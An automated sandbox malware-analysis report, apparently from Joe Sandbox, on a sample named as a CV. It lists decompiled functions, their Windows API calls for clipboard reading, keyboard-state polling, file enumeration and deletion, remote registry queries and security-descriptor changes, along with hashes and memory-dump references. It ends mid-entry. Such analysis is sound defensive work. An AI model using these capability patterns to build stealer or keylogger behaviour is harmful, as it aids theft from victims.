                                                                          Function 005E6B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OpenClipboard.USER32(0062DC00), ref: 005E6B36
                                                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 005E6B44
                                                                          • GetClipboardData.USER32(0000000D), ref: 005E6B4C
                                                                          • CloseClipboard.USER32 ref: 005E6B58
                                                                          • GlobalLock.KERNEL32(00000000), ref: 005E6B74
                                                                          • CloseClipboard.USER32 ref: 005E6B7E
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 005E6B93
                                                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 005E6BA0
                                                                          • GetClipboardData.USER32(00000001), ref: 005E6BA8
                                                                          • GlobalLock.KERNEL32(00000000), ref: 005E6BB5
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 005E6BE9
                                                                          • CloseClipboard.USER32 ref: 005E6CF6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                                          • String ID:
                                                                          • API String ID: 3222323430-0
                                                                          • Opcode ID: 5b8cd36711db3ef04acb729985f2bfbd2df6a145cb8744b697f2d599825a7fc1
                                                                          • Instruction ID: 5f86da43a76f261c3ca3a86f532f74ac5729e5bce312eb8fb13ff73fb5a2ae48
                                                                          • Opcode Fuzzy Hash: 5b8cd36711db3ef04acb729985f2bfbd2df6a145cb8744b697f2d599825a7fc1
                                                                          • Instruction Fuzzy Hash: 5451D231200202ABD704EF61DC4AFAE7BA9FF94B90F04842AF696D61D1DF70D905CB62
                                                                          Function 005DF5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005DF62B
                                                                          • FindClose.KERNEL32(00000000), ref: 005DF67F
                                                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005DF6A4
                                                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 005DF6BB
                                                                          • FileTimeToSystemTime.KERNEL32(?,?), ref: 005DF6E2
                                                                          • __swprintf.LIBCMT ref: 005DF72E
                                                                          • __swprintf.LIBCMT ref: 005DF767
                                                                          • __swprintf.LIBCMT ref: 005DF7BB
                                                                            • Part of subcall function 005B172B: __woutput_l.LIBCMT ref: 005B1784
                                                                          • __swprintf.LIBCMT ref: 005DF809
                                                                          • __swprintf.LIBCMT ref: 005DF858
                                                                          • __swprintf.LIBCMT ref: 005DF8A7
                                                                          • __swprintf.LIBCMT ref: 005DF8F6
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
                                                                          • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                                          • API String ID: 835046349-2428617273
                                                                          • Opcode ID: a0940f3773f4acae392c580f11e501e15acd66b5922b61526ce17693144f0888
                                                                          • Instruction ID: 8f94e46fa9e0fdbabb0a7c76445627446d75f4c41eb6c151c394aea7465280ed
                                                                          • Opcode Fuzzy Hash: a0940f3773f4acae392c580f11e501e15acd66b5922b61526ce17693144f0888
                                                                          • Instruction Fuzzy Hash: 60A110B2408345ABC710EB94C89ADAFBBECFF95700F44482EF59587151EB34D949CB62
                                                                          Function 005E1B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 005E1B50
                                                                          • _wcscmp.LIBCMT ref: 005E1B65
                                                                          • _wcscmp.LIBCMT ref: 005E1B7C
                                                                          • GetFileAttributesW.KERNEL32(?), ref: 005E1B8E
                                                                          • SetFileAttributesW.KERNEL32(?,?), ref: 005E1BA8
                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 005E1BC0
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1BCB
                                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 005E1BE7
                                                                          • _wcscmp.LIBCMT ref: 005E1C0E
                                                                          • _wcscmp.LIBCMT ref: 005E1C25
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E1C37
                                                                          • SetCurrentDirectoryW.KERNEL32(006439FC), ref: 005E1C55
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 005E1C5F
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1C6C
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1C7C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                                          • String ID: *.*
                                                                          • API String ID: 1803514871-438819550
                                                                          • Opcode ID: 4dad5611befc70d0a6b8d4cee78f0a4b33e66b68942ca2068f20defad0ba6059
                                                                          • Instruction ID: 94537f943b96483cc2127c72eddbf68a68116f5e05ab30f142107f31ee4f1761
                                                                          • Opcode Fuzzy Hash: 4dad5611befc70d0a6b8d4cee78f0a4b33e66b68942ca2068f20defad0ba6059
                                                                          • Instruction Fuzzy Hash: DF312632500A5ABBCF24ABB1DC49ADE3BAEBF45320F144156F955D3090EB70DF848E68
                                                                          Function 005E1C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindFirstFileW.KERNEL32(?,?,75568FB0,?,00000000), ref: 005E1CAB
                                                                          • _wcscmp.LIBCMT ref: 005E1CC0
                                                                          • _wcscmp.LIBCMT ref: 005E1CD7
                                                                            • Part of subcall function 005D6BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 005D6BEF
                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 005E1D06
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1D11
                                                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 005E1D2D
                                                                          • _wcscmp.LIBCMT ref: 005E1D54
                                                                          • _wcscmp.LIBCMT ref: 005E1D6B
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E1D7D
                                                                          • SetCurrentDirectoryW.KERNEL32(006439FC), ref: 005E1D9B
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 005E1DA5
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1DB2
                                                                          • FindClose.KERNEL32(00000000), ref: 005E1DC2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                                          • String ID: *.*
                                                                          • API String ID: 1824444939-438819550
                                                                          • Opcode ID: 7c7d69bb78fb695b8398d79570683bbf4c72a28ae627389ef100d9af0f13f123
                                                                          • Instruction ID: c2b157a8f0d6059c170e371e923fe64adaa7fcce5dd434d772016cbcb624cb5f
                                                                          • Opcode Fuzzy Hash: 7c7d69bb78fb695b8398d79570683bbf4c72a28ae627389ef100d9af0f13f123
                                                                          • Instruction Fuzzy Hash: 3B31E632500A6A7ACF24ABA1DD09EDE7BAEBF45320F244552F851E31D0DB70DF458E68
                                                                          Function 00597D19 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 962COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _memset
                                                                          • String ID: Q\E$[$[:<:]]$[:>:]]$\$\$\$\b(?<=\w)$\b(?=\w)$]$^
                                                                          • API String ID: 2102423945-2023335898
                                                                          • Opcode ID: a191956641ca64cdf914772611d19e694a21bc367825983ca6465145307f6a9f
                                                                          • Instruction ID: e78615596c5dd4d8a1f9df939151c3997bf108106c4fb61b363a4281773abaee
                                                                          • Opcode Fuzzy Hash: a191956641ca64cdf914772611d19e694a21bc367825983ca6465145307f6a9f
                                                                          • Instruction Fuzzy Hash: 9182A171D14219DBCF28CF94C8806EEBBB2FF49310F25856AD819AB391E7749D85CB90
                                                                          Function 005E091D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetLocalTime.KERNEL32(?), ref: 005E09DF
                                                                          • SystemTimeToFileTime.KERNEL32(?,?), ref: 005E09EF
                                                                          • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 005E09FB
                                                                          • __wsplitpath.LIBCMT ref: 005E0A59
                                                                          • _wcscat.LIBCMT ref: 005E0A71
                                                                          • _wcscat.LIBCMT ref: 005E0A83
                                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 005E0A98
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E0AAC
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E0ADE
                                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 005E0AFF
                                                                          • _wcscpy.LIBCMT ref: 005E0B0B
                                                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 005E0B4A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
                                                                          • String ID: *.*
                                                                          • API String ID: 3566783562-438819550
                                                                          • Opcode ID: 7532428ac0f04f3603faf2fa3944f32bf01d787b3094d3c569a68a0a4b001e89
                                                                          • Instruction ID: d9b61ed8c1c14c4361441935a69e8574dbae7e1dc3c92d7a2c2c105bd9011bb2
                                                                          • Opcode Fuzzy Hash: 7532428ac0f04f3603faf2fa3944f32bf01d787b3094d3c569a68a0a4b001e89
                                                                          • Instruction Fuzzy Hash: 1D618C725043469FCB14EF64C84599EBBE9FF89310F04481EF989C7252EB35E945CB92
                                                                          Function 005CA66C Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005CABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005CABD7
                                                                            • Part of subcall function 005CABBB: GetLastError.KERNEL32(?,005CA69F,?,?,?), ref: 005CABE1
                                                                            • Part of subcall function 005CABBB: GetProcessHeap.KERNEL32(00000008,?,?,005CA69F,?,?,?), ref: 005CABF0
                                                                            • Part of subcall function 005CABBB: HeapAlloc.KERNEL32(00000000,?,005CA69F,?,?,?), ref: 005CABF7
                                                                            • Part of subcall function 005CABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005CAC0E
                                                                            • Part of subcall function 005CAC56: GetProcessHeap.KERNEL32(00000008,005CA6B5,00000000,00000000,?,005CA6B5,?), ref: 005CAC62
                                                                            • Part of subcall function 005CAC56: HeapAlloc.KERNEL32(00000000,?,005CA6B5,?), ref: 005CAC69
                                                                            • Part of subcall function 005CAC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,005CA6B5,?), ref: 005CAC7A
                                                                          • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005CA6D0
                                                                          • _memset.LIBCMT ref: 005CA6E5
                                                                          • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005CA704
                                                                          • GetLengthSid.ADVAPI32(?), ref: 005CA715
                                                                          • GetAce.ADVAPI32(?,00000000,?), ref: 005CA752
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005CA76E
                                                                          • GetLengthSid.ADVAPI32(?), ref: 005CA78B
                                                                          • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 005CA79A
                                                                          • HeapAlloc.KERNEL32(00000000), ref: 005CA7A1
                                                                          • GetLengthSid.ADVAPI32(?,00000008,?), ref: 005CA7C2
                                                                          • CopySid.ADVAPI32(00000000), ref: 005CA7C9
                                                                          • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005CA7FA
                                                                          • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005CA820
                                                                          • SetUserObjectSecurity.USER32(?,00000004,?), ref: 005CA834
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                                          • String ID:
                                                                          • API String ID: 3996160137-0
                                                                          • Opcode ID: df474672640707dd8ea342152b65f83df95cde13da8e1574ea9ff7ad8a461024
                                                                          • Instruction ID: d395ad3f53d51121b6e47cf41cee71d3f417426dd0ed35baeafa9a5d51d51b06
                                                                          • Opcode Fuzzy Hash: df474672640707dd8ea342152b65f83df95cde13da8e1574ea9ff7ad8a461024
                                                                          • Instruction Fuzzy Hash: 51511A7190020AAFDF10DFA5DC59EEEBFB9FF44304F04812AF915A6291DB359A05CB61
                                                                          Function 00596F07 Relevance: 20.9, Strings: 16, Instructions: 883COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: c$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$ccc c
                                                                          • API String ID: 0-3195816733
                                                                          • Opcode ID: e13717ea25dc2bb130ac3cbe47db9801b9f47995135d647258b00a7fe4d3b142
                                                                          • Instruction ID: b8c4b8209c14f00eda9f59b2c2ea5ef4d708d4be799b596d2d087df04667bb10
                                                                          • Opcode Fuzzy Hash: e13717ea25dc2bb130ac3cbe47db9801b9f47995135d647258b00a7fe4d3b142
                                                                          • Instruction Fuzzy Hash: 22726171E1421A9BDF14CF58D8517EEBBB6BF48310F14456AE809EB381EB709E81DB90
                                                                          Function 005D63F9 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 89fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005D5FA6,?), ref: 005D6ED8
                                                                            • Part of subcall function 005D72CB: GetFileAttributesW.KERNEL32(?,005D6019), ref: 005D72CC
                                                                          • _wcscat.LIBCMT ref: 005D6441
                                                                          • __wsplitpath.LIBCMT ref: 005D645F
                                                                          • FindFirstFileW.KERNEL32(?,?), ref: 005D6474
                                                                          • _wcscpy.LIBCMT ref: 005D64A3
                                                                          • _wcscat.LIBCMT ref: 005D64B8
                                                                          • _wcscat.LIBCMT ref: 005D64CA
                                                                          • DeleteFileW.KERNEL32(?), ref: 005D64DA
                                                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 005D64EB
                                                                          • FindClose.KERNEL32(00000000), ref: 005D6506
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: File$Find_wcscat$AttributesCloseDeleteFirstFullNameNextPath__wsplitpath_wcscpy
                                                                          • String ID: \*.*$p1Wu`KXu
                                                                          • API String ID: 2643075503-2866000061
                                                                          • Opcode ID: b86ee1b11ac70ee544f895c53f9edd45f140fa203f87480bfc248763294f44f3
                                                                          • Instruction ID: 6954d885a3f695e309c5736744dc62cd76ab9c9daa575adfdc842261a20e1aba
                                                                          • Opcode Fuzzy Hash: b86ee1b11ac70ee544f895c53f9edd45f140fa203f87480bfc248763294f44f3
                                                                          • Instruction Fuzzy Hash: FC31A2B2408384AAC731DBA888899DBBBDCBF95300F44491BF5D8C3241EB35E54D8767
                                                                          Function 005F31BC Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005F3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,005F2BB5,?,?), ref: 005F3C1D
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005F328E
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 005F332D
                                                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 005F33C5
                                                                          • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 005F3604
                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 005F3611
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                                          • String ID:
                                                                          • API String ID: 1240663315-0
                                                                          • Opcode ID: cd1bdb5fe22932c101d77c677ded38da452e8300faf540c9b9b1a8a4670c8d5d
                                                                          • Instruction ID: c25a8c3215f710a9fc28d7782c9a6c837ef1632a094037c51eb887817ac6ac72
                                                                          • Opcode Fuzzy Hash: cd1bdb5fe22932c101d77c677ded38da452e8300faf540c9b9b1a8a4670c8d5d
                                                                          • Instruction Fuzzy Hash: DEE16931204205AFCB14DF28C895E6ABFE9FF89314F04886DF54ADB2A1DB35EA05CB51
                                                                          Function 005D2B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?), ref: 005D2B5F
                                                                          • GetAsyncKeyState.USER32(000000A0), ref: 005D2BE0
                                                                          • GetKeyState.USER32(000000A0), ref: 005D2BFB
                                                                          • GetAsyncKeyState.USER32(000000A1), ref: 005D2C15
                                                                          • GetKeyState.USER32(000000A1), ref: 005D2C2A
                                                                          • GetAsyncKeyState.USER32(00000011), ref: 005D2C42
                                                                          • GetKeyState.USER32(00000011), ref: 005D2C54
                                                                          • GetAsyncKeyState.USER32(00000012), ref: 005D2C6C
                                                                          • GetKeyState.USER32(00000012), ref: 005D2C7E
                                                                          • GetAsyncKeyState.USER32(0000005B), ref: 005D2C96
                                                                          • GetKeyState.USER32(0000005B), ref: 005D2CA8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: State$Async$Keyboard
                                                                          • String ID:
                                                                          • API String ID: 541375521-0
                                                                          • Opcode ID: 8ae102cba83ea1cdbf66c878310d39347a34c5d019322822fa91a0e6616f67d4
                                                                          • Instruction ID: d9b00108708705d3e3fb296e22e7c6285cca8a5361423b502b59f856991df661
                                                                          • Opcode Fuzzy Hash: 8ae102cba83ea1cdbf66c878310d39347a34c5d019322822fa91a0e6616f67d4
                                                                          • Instruction Fuzzy Hash: 3E41B334514BC97DFF359B6888043AABEA17B31344F08809BD5C6563D2DBE49DC8C7A2
                                                                          Function 005E6D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                          • String ID:
                                                                          • API String ID: 1737998785-0
                                                                          • Opcode ID: 9964a8b4ceb62de593767492f1d9c5662a4d83d25643c560b78ee5d5b5274619
                                                                          • Instruction ID: ec4a88f6aa4b2ed60c382edb43922f72b81ebe04a4c4841b4fe1c188ab444653
                                                                          • Opcode Fuzzy Hash: 9964a8b4ceb62de593767492f1d9c5662a4d83d25643c560b78ee5d5b5274619
                                                                          • Instruction Fuzzy Hash: F721F431300211AFDB14AF29DD49BAD7BAAFF54761F04C41AF94ADB2A1DB30ED008B90
                                                                          Function 005EC18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005C9ABF: CLSIDFromProgID.OLE32 ref: 005C9ADC
                                                                            • Part of subcall function 005C9ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 005C9AF7
                                                                            • Part of subcall function 005C9ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 005C9B05
                                                                            • Part of subcall function 005C9ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 005C9B15
